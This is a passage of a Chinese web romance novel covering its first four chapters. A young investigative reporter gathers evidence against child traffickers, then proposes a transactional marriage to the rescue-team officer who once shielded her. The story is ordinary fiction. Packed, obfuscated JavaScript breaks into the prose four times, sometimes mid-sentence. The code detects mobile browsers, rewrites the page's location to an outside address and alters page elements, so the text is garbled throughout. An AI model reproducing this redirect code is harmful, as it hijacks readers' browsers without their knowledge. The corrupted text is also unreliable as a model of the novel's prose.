《声声如叙[先婚后爱]》 1. 第 1 章 “老赵,还没回呐?吃了吗?” 旁边工地轰鸣一整日的工业噪音,终于在月生时分息了声响,巨大的铁臂悬在城郊墨蓝的夜空,下工的工友们肩上打着脏污的工作服,三三两两在暮春的惬意凉风中往宿舍区走。 仓管老赵回头哎了一声,五官堆在漾起的深刻皱纹中:“就回了,带人来找个东西。” 他身后跟着个身材高挑的女人,一身运动服,长发在脑后扎了个利落的高马尾,五官生得鲜妍明艳,侧脸在工地灯光下白得刺眼,也不避讳他们的目光,冲他们大方一笑。 问话的人一愣,不知怎么就红了脸。 老赵走在前面,问她:“你真记着是掉在这了?女娃娃家的耳环小,不好找的。” 黎叙闻毫不心虚地答:“嗯,就是上次跟着老板来谈生意,掉在这的。” 她来这个偏僻工地的仓库,确实是找东西的,只不过找的不是什么耳环,而是他们商报追踪了好几个月的儿童拐卖案的证据。 调查记者兵分几路,一面监视拐卖团伙的行动,一面锁定他们尚未来得及销毁的纸面证据,比如交易单、运输路线责任单、儿童身份健康资料,如果运气好,或许还能抢出一两张现金交易的收据来。 几个月的调查和暗访已接近尾声,黎叙闻被指派了最不容易暴露的工作——来这个团伙已经基本撤离的仓库中,寻找残留的物证。 出发前总编马颂今对她耳提面命,能找到最好,找不到也没关系,安全第一,一定记住,安全第一。 没有人指望她第一次独立公干,就找到什么厉害的关键线索。 可黎叙闻偏不要草草过场。 凡发生过必留下痕迹,只要他们真的在这里做过交易,哪怕蛛丝马迹,她大海捞针也要把它们捞出来。 毕竟有那么多孩子,在等着有人救他们回家。 她跟在老赵身后,小心观察着他每一个细节:上了年纪,腿脚有些不灵便,对陌生人友善,基本没有警惕性。 他大概率与拐卖团伙无关,只是一个对外的幌子。 老赵不疑有他,带着黎叙闻来到敞着门的老旧仓库前:“姑娘害怕不?我跟你进去找吧?” “不用,”黎叙闻拍拍手里的小手电,一道细细的白光应声亮起:“我有这个,您放心吧。” “行,里面东西多,乱,你看着点脚底下。” 黎叙闻答应一声,挥别了老马,一脚踏进尘土飞扬的仓库里,心终于稍稍安定下来。 一小块冷寂月光,白花花投在她脚下,像一块长方的白砖,而她被拉得细长的影子,就是悬在正中央的一道利剑。 潮湿灰尘的气味涌入鼻腔,视野渐渐适应了黑暗,她终于看清了仓库的细节,禁不住倒吸了一口气。 偌大的仓库被横七竖八的黑色铁架塞满,角落里堆着形状不一的木材,地上随处可见全是纸板和铁铸零件,仓库的尽头,甚至隐隐约约停着半个皮卡车头。 ……还真是大海捞针啊。 她打开手机,按约定给同事发了一条微信:安全到达,接下来每半小时汇报一次进度。 收到同事的确认,黎叙闻握了握拳,抬脚走进了仓库中。 周围工地的移动照明灯塔,都在夜色中悄悄睡去了,黎叙闻打着手电,拄着这一道细弱的光线,脚下淌过满地凌乱杂物,小心地穿梭在铁架中,一寸一寸寻找。 他们大概不会把重要证据随意扔在地上,现在还没有撤离的,可能会塞在箱子里,方便随时搬运…… 于是某个铁架间立着的木柜,就显得尤为可疑。 那木柜一人多高,在暗处张着几张黑洞洞的嘴,在被挤得逼仄的月光里若隐若现。 黎叙闻打着手电,用手抹开上面一层积灰,动作迅速地在内里翻找,从上到下,却只翻出几枚带锈的铁钉和泛着潮气的破旧成人杂志。 正当她全神贯注搜寻时,仓库漆黑的深处忽然响起一阵脚步声。 那是两个人的声音,一前一后,一轻一重,踩在咯吱作响的尘土上,正慢慢向她靠近 黎叙闻心头重重一跳,熄灭手电,迅速转身,把自己塞入木柜和铁架之间的狭窄缝隙中。 对话声由远及近:“上次导演都带人来看过,好多人,都说合适,你怎么今天又……老板怎么称呼?” 一个年轻男人的声音:“齐寻。” 仓库主应和一声:“齐老板,你早几天来呀,这都断电了,还堪个屁。” 黎叙闻隐在暗处,耳朵轻轻动了动。 前辈们早就掌握了这团伙里的一些成员,这个仓库主,就是拐卖团伙的重要成员,现在他们听见风声准备转移,也是他出面善后。 但这是什么情况?他们要把这里租给剧组拍戏?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816594|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一个剧组几十上百号人,他们来踩过一遍,到时候还能有什么痕迹留下? 这是想把证据全毁了。 看来无论找不找得到,今晚都是最后的机会了。 她出神的功夫,一前一后的脚步声已经向她逼近。 黎叙闻屏住呼吸,眼睛一眨不眨,看着两个黢黑的影子,不急不缓地出现在地上的月光里。 他们路过了她栖身的缝隙。 两人一个身量不高,看起来瘦小,黎叙闻学过两年散打,在心里掂量了下,觉得如果真到万不得已动起手来,她不是没有机会脱身。 但另外一个人…… 非常高大。 罅隙挤压着她的视线,他背对着她,身高保守估计185以上,肩宽腿长,上身T恤被撑得饱满,手臂线条看不太清,但力量感十足。 放平时她可能有闲心欣赏美好肉.体,可此时此刻,她只觉得绝望。 她本能地抽吸一下,意识到自己正发出细细的气声,又变本加厉地抿起嘴唇,不让自己发出一点声响,同时在心里疯狂祈祷。 快走吧,快离开,你们不是要堪景吗,对,往前走,往前—— 那个高大的男人忽然停住了。 他背对她站在月光下,一只手插在裤袋里,好似被什么声音绊住了脚步。 不知是不是黎叙闻的错觉,他甚至微微地,朝她的方向侧了侧脸。 有那么一瞬间,黎叙闻觉得自己什么都听不见了。 木柜布满毛刺的粗糙背板就竖在她面前,像一块捉襟见肘的狭窄幕布,暮春空气里的水气浸透了木头,阵阵潮湿气味悬在她汗湿的鼻尖。 而她额角的冷汗,就和着这种污浊的气息,慢慢、慢慢滑进她的眼睛。 她的祈祷无济于事。 那个年轻的男人,在她极尽压抑的呼吸中,缓缓转过身来。 一池月色被他挡在身后,她看不清他的脸,却能听见他的脚步声,混着仓库里响亮的回音,一步,一步向她靠近。 心脏战若擂鼓,身后的铁架甚至因为心跳的撞击,同她的身体一起发出细微的、但在一片沉寂黑暗中称得上嘹亮的嗡鸣。 而那脚步声,故意似的,每一步都踏在她慌乱的心跳上,她心脏每浮起一次,就会被他严丝合缝地踩回茫茫的惊惶里。 他停在了她的面前。 2. 第 2 章 血液在黎叙闻耳边轰然沸腾。 那人离她也就半米距离,月光从侧面浮掠过他的身体,照亮他半边锋利轮廓,像一座色调分明的素描静物石膏。 那双隐在眉骨阴影里的眼睛,竟凌厉得很动人。 ——如果它们不是视线下挑,正居高临下、冷淡地审视着她的话。 黎叙闻浑身肌肉都绷紧了,目光一瞬不瞬地与他短兵相接,后颈散落的碎发中冷汗蜿蜒。 她在自己疯狂奔涌的血流声中想,他要干什么? 下一秒,他会不会大步走过来,捏住她的手腕,直接把她拖出去? 到那时别说证据,她能不能活着离开,都是未知数。 种种猜测和担心一个接一个在脑中粉墨登场,可她直视着那双漠然的眼睛,散乱的呼吸却奇迹般渐渐平静。 事已至此,是死是活,不如赌一把。 齐寻对着月光下愈显漆黑的罅隙,看到了一个颇有意思的身影。 光线从他侧身反射到她身上,模糊一片,只能勉强分辨对方是个身材纤细的女人。 她肩膀微微耸起,像躲避天敌的动物猛地暴露了痕迹,抖得身旁的木柜都在跟着她战栗。 搅动着咚咚心跳和过速呼吸的混乱声场中,她肩线快速起伏,明显紧张得无以复加,但仍坚持与他对视。 那双上挑而发亮的眼睛,眼底的机警、防备、忌惮、挑衅,乱糟糟地织成一团,毫不遮掩地抛给他。 却独独没有退却。 那个女人缓缓地抬起手臂,竖起一根手指,轻轻放在唇间。 嘘。 他眉头轻轻一挑。 不远处仓库主的声音带着仓库空旷的混响蓦地响起:“咋了?咋不走了?” 黎叙闻呼吸悬停,竖在唇间的手指控制不住地抖。 她已经听不到自己的心跳了。 取而代之的,是牙关战栗的咯咯声。 齐寻在月色下深深看了她一眼,自然地转过身,挡住她藏身的缝隙:“没事,在看设备藏哪里。” 仓库主靠近的脚步停住,语带埋怨:“就说了让你有电的时候来……” “这边有风噪,去门口看一下门窗。” 他抬脚离开,被挡住的月光洪水一样重新倾泻下来,再次点亮了黎叙闻沉黑的眼底。 她闭上双眼深深出了口气,浑身蓦地发软,双手反抓住身后冷硬的铁架,才不至于坐倒。 一双脚步声渐行渐远,黎叙闻终于喘匀了气,才有心思转头望向仓库深处。 他们刚刚是从哪里进来的? 那个方向……会不会有办公室,或者后门? 又停了几秒,确定再没人在附近,黎叙闻放轻脚步,从缝隙中脱身而出,像一抹在黑暗中匆匆飘过的浮影,一路掠过凌乱的杂物,悄悄靠近了一扇紧闭的防火门。 好在防火门推开无声,她几乎是在闪进门内的第一秒,就锁定了蜿蜒的走廊尽头那块黯淡的绿色指示牌。 那块写着“出口”的指示牌下方,有一间亮着白色灯光的房间。 灯光萤火般稀薄,像电量不足的应急灯,里面隐隐有火光跳动,呛人的烟雾从门口飘散而出。 防火门把所有仓库中细碎的背景声都隔离在外,里间更为寂静。 于是撕扯纸张的脆响、焦躁踱步的声音、还有翻动厚叠纸幅的响动,都原原本本、清晰地回荡在这条昏暗的走廊里。 房间里有人。 黎叙闻思索一下,点开手机的录音软件,猫着腰绕过曲折的走廊,缓缓靠近那个房间。 就在她靠墙坐到房门拐角的那一刻,门后忽然传出一句:“你他妈的……” 她呼吸一滞,以为对方发现了什么端倪,迅速向角落缩紧身体。 但紧接着,房间里传来细微的、遥远的人声——那人在打电话。 她松了口气,赶忙将手机递向声源处,屏幕上五彩的声波随着通话声开始大幅震动:“病了你不知道给喂药啊?!你就不能不让他病恹恹的?!” 他烦躁地长叹一声:“算了,无所谓,那边要得多,病一个无所谓的。” 一句令黎叙闻汗毛乍起的话,从那人嘴里轻飘飘吐出来:“三头牛犊,五只羊,两头猪,明天下午四点,我不管你怎么弄,到时候必须都齐头整脸地交给收货人,明白了吗?” 她手一颤,险些将手机掀翻。 几个月的内部调查,她早已将这个团伙的黑话烂熟于心:牛犊,指的是五岁以下的小男孩,羊,指的是小女孩,而猪,指的是已经到了青春期的女孩子。 他们在说交易时间! 黎叙闻感觉到自己的发根正根根起立,鸡皮疙瘩一层又一层在她全身浮起,她紧张得连呼吸都不记得了。 明天下午四点,地点呢?地点在哪里? 最关键的地方,男人却骂着粗话,愤愤地挂了电话。 黎叙闻低头看着已经变成一潭死水的声波。 其他线索没有痕迹,而剧组不知道什么时候就会进来,今天是最后的机会。 所以现在只有一条路了——报警。 现在还有机会审出交易地点,等他们交易完,那就真是盐化在水里,影子都难求了。 她将情况简单描述给同事,让对面赶紧报警,同时迅速判断自己到出口的距离,估摸从这里脱身需要多久。 这时候,她脚边突然蹿出一个活物,飞快地从她脚面上跑了过去! 她手一抖,手机从她掌心滑出,啪地一声摔在了地上。 电话男本来还在骂骂咧咧,门口却突然传来一声异响。 他猛地扭过头:“谁?” 门外无声。 他侧耳听了一阵,叫了一声同伙的名字,无人回答。 思索几秒,电话男觉得兹事体大,放轻脚步走出去,走廊上的黑暗包裹着他,浑然一体。 除了隔壁那个小房间的房门,裂出的一小道缝隙。 他盯着地上那道细瘦的月光,无声地笑了。 猎物藏进了陷阱,还以为天衣无缝。他只要动动手指,就能让它自己跑出来。 电话男饶有兴致地将冒着浓烟的烧火盆端出来,把剩下的收据和账本全部点着,扔进那小房间,迅速关上了门。 然后站在门口,好整以暇地等着里面的动静。 浓烟从门缝底下源源不断挤出来,可五分钟过去了,里面竟没任何动静。 这么豁得出去?准备顽抗到底? 电话男彻底失去了耐心,正准备开门进去捉人,嘎吱一声,他身后的安全门忽然开了。 一个身形高大的男人从后门进来,身后跟着他的同伙,一回头,便跟他四目相对。 “怎么?”齐寻问:“……这什么味道?” 电话男看了眼同伙,讪讪道:“哦,烧点杂物。” 仓库主适时插话:“走吧?去别处看看?” 电话男死死盯着房门,表情僵硬道几乎扭曲了。 齐寻扫他一眼,正准备往前走,忽然听见小房间的门背后,有一种奇怪的响动。 是竭力压抑的呼吸声,和几乎忍到强弩之末、即将爆发的呛咳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816595|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他立刻想到了刚刚那个藏身在缝隙里的女人。 他脚步一顿,落后半步,趁两人没反应过来,轻轻扣了一下小房间的门,用最轻的声音道:“出来。” 滚滚浓烟顿时倾泻而出,呛得其余两人吱哇乱叫,昏暗走廊内一时什么都看不清了。 黎叙闻憋着最后一口气,眼眶被熏得生疼,在浓烟中几乎凭着记忆和本能,盲跑到安全门前。 她借着这两三秒珍贵的时间差,迅速摸到门把手,攥着手里的东西闪身而去。 在一片烟雾和混乱里,安全门极轻地响了一声。 那个多余的呼吸声,就这样消失在了声场里。 电话男立刻破防大叫:“你干什么!” 齐寻挡着他的视线,冷淡道:“不放放烟?准备把消防招来?” 电话男立刻冲进小房间,里面除了一个还在烧的火盆,什么都没有了。 他出离愤怒了,指着齐寻:“你故意的?你跟她一伙的!” 齐寻抱着双臂,靠着安全门道:“我不管你们这些破事。” 电话男眦目欲裂:“她是小偷!你把贼放走了!” “她偷了什么,我三倍赔偿,”齐寻自上而下垂视他:“我不可能三更半夜把一个女人留在这种地方。” 仓库主脸黑如锅底:“我看你想死!” 齐寻看着他的小身板,笑了:“就你?” 二十分钟后。 黎叙闻隐蔽在仓库附近的工具房后,灌了一整瓶水。 她手里攥着两张从火盆里抢出来的收据,还在不停地冒汗。 警察怎么还不来! 那人不知道怎么样了…… 少倾,警笛声响彻黑夜,闪烁着红蓝警灯从远处呼啸而来。 警察迅速包围了仓库,从正门鱼贯而入,不消多久,就从里面押了两个人出来。黎叙闻眯着眼睛使劲分辨半天,还是没有看到齐寻的影子。 他……已经走了? 不多久,附近工地的工人被警察召集起来,刚刚还寂静无人的仓库周围,瞬间变得热闹喧嚣起来。 黎叙闻看了一会儿,想悄悄离开,转身的功夫,眼角一扫,却发现齐寻坐在不远处的人群中间。 他面前杵着一根毛茸茸的杆子,低头摆弄着一个全是电线的盒子。 像个世外的看客,坐在闹哄哄的人群里,淡漠地看着周围的戏台上你来我往。 黎叙闻轻啧一声。 于情于理,她都该过去道一声谢,可现在确实不是个好时机。 她作为报警人,都提防有其他同伙在附近盯梢,静悄悄地不现身,他倒好,大大咧咧地坐在案发现场,就不怕惹一身麻烦? 念着刚刚的恩情,黎叙闻决定至少提醒他一句。 齐寻戴着耳机坐在地上,打算再录一段环境音。 他闭着眼睛,感受耳机里的环境噪声像潮水一样,一层一层地涌上他的意识,在他脑中迅速分离出不同音轨。 忽然,一个极其不和谐的声音透过耳机炸响在他耳边! “快走。” 这两个字极轻,又极快,像瞬间掠过海面的海鸥,又像并不存在的错觉。 他呼吸猛地一滞! ——那是他自十六岁起就在寻找的声音,是他在无边无际的声音之海中,搜寻的那一粒最特别的沙。 他嚯地站起身,一把扯掉耳机。 带身前的话筒翻了个仰倒,他都浑然不觉。 只是当他回头去看,那个人已经消失在了攒动的泱泱人群里。 像一滴水消失在水中。 3. 第 3 章 一个月后。 盛夏午后,暑气正宣。 暴雨势急,一道亮紫闪电蜿蜒闪过,惊雷紧跟其后,撕裂层云笼罩的天空。 正坐在窗边接电话的黎叙闻被这一声巨响打断,下意识回头看了一眼窗口。 这个节骨眼上突兀响起的惊雷,恰好给了她一个遮掩心虚的机会。 “总编您说什么?”她默了两秒,制造出信号不好的假象,又把听筒拉远了些:“我没听清。” 马颂今的沉郁嗓音闷雷一样滚在她耳边:“我在问你,这个代孕工厂的选题,谁让你交的?你编辑?还是主编?” “没有谁,”黎叙闻不以为然:“你派给我的好编辑两年没正经管过我,至于季筝,她才不会让我交这种东西,我自己交的。” 那边声音更沉:“我之前怎么跟你说的?” “……你说我不顾后果,擅自行动,让我消停地呆着,这三个月哪都不许去,老实反省。” 之前黎叙闻单枪匹马拿下仓库中的重要证据,警方加班加点审讯嫌疑人,在交易地点提前布控,将后来到场的买卖双方一网打尽,商报记者也因为跟踪调查、举报有功,拿到了警方的独家披露。 黎叙闻作为这里面的重要一环,几乎博得了所有人的肯定。 但很遗憾,这个“所有人”,并不包括《京屿商报》的总编马颂今。 作为报社总编,手底下年轻一代初生牛犊,后生可畏,这本来是好事,可麻烦的是,马颂今是黎叙闻父亲黎策的老友,自觉有义务保护兄弟的女儿。 更麻烦的是,他还觉得黎策从总台的金牌战地记者,变成了现在这副精神错乱的样子,他至少要负连带责任。 来硬的不行,马颂今的语气终于软下来:“闻闻,先安分点,等有合适的选题再去,行不行?” 窗外雨势渐急,混沌的水声冲刷在16层公寓的窗户上,在天地间自成一片混响。 黎叙闻在电话这边安静地听着雨声,忽然道:“昨天同事跟我说,被拐的孩子都回家了。” 马颂今瞬间卡了壳:“……嗯。” 黎叙闻抬头看窗户上如瀑的溪流:“不知道那些代孕妈妈,有没有想要回家的。” 听筒对面传来轻轻的一声“啧”,可后面的长篇大论却没有跟上,只在哗哗雨声中,留下一片沉默。 冒险原本就是调查记者的天职,就算她亲爸在,这道理也不容置喙。 “没有不让你查,”最后,马颂今长叹一声,终于松口:“但一定,一定要注意安全。你知不知道当年你爸……” 截止到“当年”两个字,黎叙闻对这场对话已经丧失耐心,按了免提,把屏幕切回了微信。 消息栏有一条未读消息,是她的线人发来的。 她好奇地点开,呼吸凝滞了一秒,随后瞪大了眼睛! “马叔我不跟你说了我有急事先挂了!” 黎叙闻迫不及待收了线,把马颂今后半句“下午相亲准备好了没有啊!时间差不多了你好好打扮一下!”硬是按在了听筒里。 下一秒,她直接跳起来,抓起手机拨通了线人的电话。 那边一接通,她招呼都顾不上打,立刻问:“你什么意思,什么叫代孕工厂我查不了?” 夏蓉是从她进报社起就培养的第一个线人,非常依赖她,说这种话,还是第一次。 夏蓉在那边顿了顿,说:“姐你别急,我去了一趟才知道,他们说风声紧,现在谨慎得很,对外说自己是生殖医院,只接待已婚人士,还要查证件。” “我P一张。” “我P过了,被赶出来啦,”夏蓉愁道:“他们好像联网的。” 黎叙闻:…… 这怎么办? 为一个调查,她还得去结个婚? 跟谁结,去大街上随便拉一个男的,说我们结婚吧? 她按着眉心定了定神,问:“那你打算怎么办?” 对面犹犹豫豫,支吾半晌,还是说:“姐,季主编有办法吗?要不就……” “不行!”黎叙闻一声断喝几乎盖过了滔天的雨声:“她收钱压过消息的,告诉谁都不能告诉她!” 给季筝,别说黎叙闻的独家了,这件事最后能不能报出来,都是个问题。 线人小姑娘嗫嚅一声,不说话了。 黎叙闻默了几秒,耐着性子软了声音:“这样,你还是给我,我能查。” “他们要验结婚证的,你……” “留给我,”她望着倒映在窗户上的漫天雨幕,一字一顿地重复:“我能查。” …… 挂了电话,黎叙闻打开窗子坐在床边,对着漫天的乌云发呆。 雨势已经过了最急最猛的时候,雨丝簌簌地落下一段,天空就被洗亮一点,可阳光被挡在渐薄的层云中,依然没有露出头来。 她从不指望幸福婚姻,结婚对她来说只是一个仪式,没有任何意义。 但这只是一个选题,能不能找到切入点,最后会发展成什么样,全部都是个未知数,就为了一个全部都是未知的报道,搭上这么多,值得吗? 她慢慢走到穿衣镜前,盯着镜子里面容姣好的女人那双上挑的眼睛。 人人都说她眉眼生得最美,眉梢入鬓,眼尾含情,风情而不轻佻。 这双眼睛跟父亲黎策年轻的时候一模一样。 她闭上眼,又想起爸爸年轻时的意气风发,跟后来彻底坠入癫狂里的模样。 四百条人命。 一篇结果未知的选题,不足以让她押上自己的婚姻,那么加上她替父亲赎罪的执念呢? 早日做出点成绩,就能早日拿到商报的推荐,她这么拼,不信自己进不了总台,去不了战地。 她一定会比黎策强。 她睁开眼睛,看着镜子里的自己,犹疑和恐惧一层一层漫上来,又一层一层消散。 几分钟后,她终于做了决定。 她褪下原本的缎面吊带睡裙,换上黑色修身长裙,及腰长卷发被绾在脑后,几缕碎发内勾着散在腮边,指尖在两排色彩丰润的口红间划过,拣出一支水润豆沙,细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816596|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细描在唇间。 那个男人…… 暗夜仓库中潮湿的霉气再度攀上她的鼻尖,她又想起了那个半身晾在月光里,沉默地替她抵抗的身影。 马颂今也是记者出身,她每个相亲对象,都免不了要被他查个底朝天。 既然能入马叔的法眼,说明那个叫齐寻的男人起码身家清白,为人可靠。 他已经帮过她一回,不知道愿不愿意再帮她第二回。 傍晚时分,天终于姗姗放晴,融金似的落日放肆地照破万顷层云,浓烈如酒。 刚刚趁着雨势跑进咖啡厅躲雨的人正三三两两离去,足音踩得黎叙闻心神不宁。 她垂眼去看被夕阳反射得一片模糊的微信界面,上面的消息还停留在十分钟前—— “不好意思,市区堵车,可能要迟几分钟。” 对黎叙闻来说,这不是个好消息:初次见面就敢迟到,说明对方姿态高。这样的人,不太容易被拿捏。 ……虽然她要提的要求,姿态再低的人听起来都会觉得很离谱就是了。 她百无聊赖地划着手机,把邻桌遮遮掩掩盯着她看的目光当空气,一颗心却不安得砰砰直跳,怎么都安静不下来。 门间风铃玲琅一响,带起一股湿润的风,黎叙闻下意识抬头去看。 只见门口逆光站着一个男人,脸被阴影糊得彻底,身形却挺拔清晰,像一片精细描摹、从光里走出来的幻影。 影子在门口顿了片刻,顿得黎叙闻的心跳陡然放大。 她眼睁睁看着那穿着深蓝制服的影子,踩着透明的琥珀天光一步一步向她靠近。 她眯起眼睛,想要看清那人的面容,影子却脚尖一转,向旁边的洗手间走去。 黎叙闻愣了愣,嗤笑了一声,身子闲闲地向后靠去。 没必要,一个男的而已,这个不行,再想办法就是了。 她闭着眼睛养神,没几分钟,对面的椅子在地上拖出难听的喑哑,她忽然觉得眼前一暗。 黎叙闻睁开眼,终于看清了坐在对面那人的脸。 半长短发,打理得精干利索,眉底几乎平压着眼,轮廓清晰,鼻梁高挺,双眼明亮,却透着一点倦意。 这时候睫毛上还缀着水珠,映着咖啡厅里新亮起的细碎灯光,湿漉漉地看着她。 在这双眼睛背后,最后一簇余晖缓缓收尽,正要沉入山底。 失神只是眨眼瞬间,黎叙闻很快坐直身体,冲他礼貌一笑:“齐先生。又见面了。” 对方毫无反应,只是盯住她的脸凝视许久。 可那眼神又跟凝视的目光不同——他像是要努力地从她脸上找到什么,又或者是看见了很久很久没见过的故人。 他注视了她太久,久到周围的杂音都缓缓退去,久到黎叙闻已经开始探究他目光中的深意。 半晌,他终于开口:“不好意思,下午有救援任务,耽搁了。” 他把随身的提包扔在地上,视线依然专注地停在她的眼睫:“黎小姐你好,我是微光救援队京屿地区副队长,齐寻。” 4. 第 4 章 黎叙闻这才看清他鬓角上沾着水珠,发丝间也缀着水汽,几根几根短簇吸在一起,像这个水汽泡过的夏天里,一棵蓬勃生长的树。 她视线又去寻桌角的地板,那里丢着一个半敞的男士提包,里面塞着那件深蓝色外套,袖口还沾着深色的泥水。 ——短短几分钟,他已经去洗手间换过衣服,把自己好好打理过,才回来坐在她面前。 黎叙闻对他笑:“没关系,我也刚到。”又将菜单递给他:“喝点什么?” 齐寻点完单,又抬头看了她片刻,忽然说:“你真的做了记者。” 这怎么听都不像是第一次正式见面的客套。 黎叙闻怔了怔,问:“我们之前……见过吗?” 齐寻停顿两秒:“……没有。仓库那天,应该是第一次。” “那天走得急,还没有好好谢过你。要不是你,我估计很难脱身。”黎叙闻对他欠了欠身:“那次救出来的孩子,已经全部回家了。” 她脸上带着自己都不知道的光彩和骄傲,在融金似的余晖里熠熠生辉。 齐寻看着她,眉间似有动容:“辛苦你。” 黎叙闻笑意漫上眼睛,摆摆手:“只是运气好。” “那么危险,还运气好?” “但我们拿到了重要证据,抓住了人贩子,还救出了孩子。” 黎叙闻眼神灼灼地盯住对面的人,顺势道:“其实过程和手段都不重要,重要的是结果,不知道齐先生认不认同。” 齐寻眸光微动,望向她的眼神若有所思。 黎叙闻近乎直白地与他对视。 此刻天光收尽,被窗棂框在他身后的那块天空一片静谧温柔的蓝紫,咖啡厅柔和的灯光涂在玻璃上,也点亮了他的眼眸。 就像那天晚上他去而复返,在黑暗罅隙中盯住她时,在如水月色中浮动的冷冽目光。 像是意识到自己失礼,齐寻垂下眼帘:“如果有什么想法,黎小姐大可以直说。” 黎叙闻唇角带笑,眉眼却不温软,一道冰泉似的泠泠望进他眼底。 “齐先生有没有兴趣,来一场交易式的婚姻?” 这句话投入空气里,像平静海面上猛然卷起的浪。 齐寻波澜不惊的面色终于露出一丝裂痕:“交易?婚姻?” 黎叙闻抬了抬唇角:“我们是来相亲的,不是么?” 周末傍晚的咖啡厅称得上喧嚣,三五好友恣意谈天,年轻情侣耳鬓厮磨,穿校服的学生在争论题目解法。 这一池鼎沸的尘嚣,一滴都泼不进他们这一隅沉郁的静默。 齐寻眼眶微微收紧,间不容瞬地盯住她的眼睛。 黎叙闻眼含笑意跟他对视。 对面这种略带审视的眼神,又让她想起在仓库的那个夜晚。 那个寂静无声、却硝烟弥漫的夜晚。 服务员上了两杯饮料,齐寻探手推了其中一杯过来:“喝杯牛奶,晚上好休息。” 黎叙闻眼皮一跳。 她垂眸望了一阵剔透玻璃杯里漾动的液体,笑了一声:“看来你不认同。” 齐寻喉结一滚,声音微微发硬:“你认为婚姻是交易?” “所有关系都是一场交易。有人用生育能力交换金钱,有人用时间交换陪伴,有人用一个名分,去交换更大的利益。只要出得起价码,想交换什么,都可以。” 黎叙闻两根手指将牛奶移到一边,手肘撑在桌面上,上身慢慢前倾:“所以齐先生想要的,又是什么呢?” 尾音上挑,眼尾含情,耳垂处金光漫漫的方形耳环都在彰显她明晃晃的挑衅。 齐寻的视线终于从她眉间移开,缓缓滑落到她搭在桌面的手指上。 葱白指尖距离他麦色的手背,只有一两公分的距离。 两人的体温透过彼此离得极近的肌肤,在盛夏傍晚潮湿的空气里骤然碰撞。 她屈起食指,无意般地抬起。 又轻轻落回桌面。 嗒。 这一声掩在周围嗡嗡的底噪里,几乎听不分明,但齐寻耳后一根细小的神经,却随着这一声细微地一跳。 他眉心一抽,无端攥住了拳。 黎叙闻收回手,低头去抿凉掉的咖啡。 半晌,她听到男人声线泠然:“我不能答应你。” 黎叙闻淡笑一声,没搭腔。 沉默了将近半分钟,齐寻深吸了口气,道:“黎小姐,第二次见面你就提出结婚,是不是有其他不能公开的对象,在用我当挡箭牌?” 黎叙闻轻笑:“这跟我们在谈的事情没有关系。” 齐寻眯了眯眼,却没再往下问。 她也丝毫没有解释的意思,只是抱起手臂,安静靠在椅背上。 这种各怀心思的沉默持续了将近五分钟,忽然被一叠声手机提示音打断。 齐寻扫了一眼,有心忽略,然而对面不消停,最后甚至拨了电话过来。 “接吧,”黎叙闻抬抬下巴,笑容浅淡:“万一有急事呢?” 齐寻按开免提,那边招呼都没来得及打,劈头盖脸地通报了重要信息:“白蛇,白枫桥发生严重交通事故,一辆双层观光巴士撞进一幢待拆居民楼,造成多辆车追尾,警方和消防已经去了,要求我们就近支援。纪队还没回来,你人在哪里,方不方便去现场指挥?” 齐寻听完后立刻道:“具体位置发我,让所有人手台保持畅通,我立刻出发。” 挂了电话,他拎起桌角的提包,语速飞快地道歉:“抱歉,过后请你吃饭赔罪,再聊。” “等等。” 黎叙闻劈手拉住他的手腕,刚刚言语中的微妙试探荡然无存。 “赔罪不必,介不介意送我个人情?” 饶是黎叙闻早有心理准备,可当她从齐寻那辆糊着泥水的牧马人上下来时,眼前的情景还是让她不由呼吸一顿。 红蓝色警灯和救护车频闪的红光映透了半边墨蓝天空,焦黑浓烟遮蔽了大半视野,跟浓烈的汽油味冲撞,熏得人眼疼。 远处隐隐传来现场指挥声嘶力竭的叫喊,和几不可闻的微弱呻.吟。 前方黄色警戒线已将出事路段封锁,齐寻迅速找到了微光的后勤车,带着黎叙闻上了后座:“阿咩?” 前排一个戴着眼镜的圆脸姑娘回过头,看见黎叙闻人都傻了:“白蛇你怎么还带姑娘来救援啊!” 齐寻看她一眼:“记者,一会儿你闲下来就送她进去。” 黎叙闻扬眉:“白蛇?” “代号啦,”阿咩笑着跟她解释:“你呢,你叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 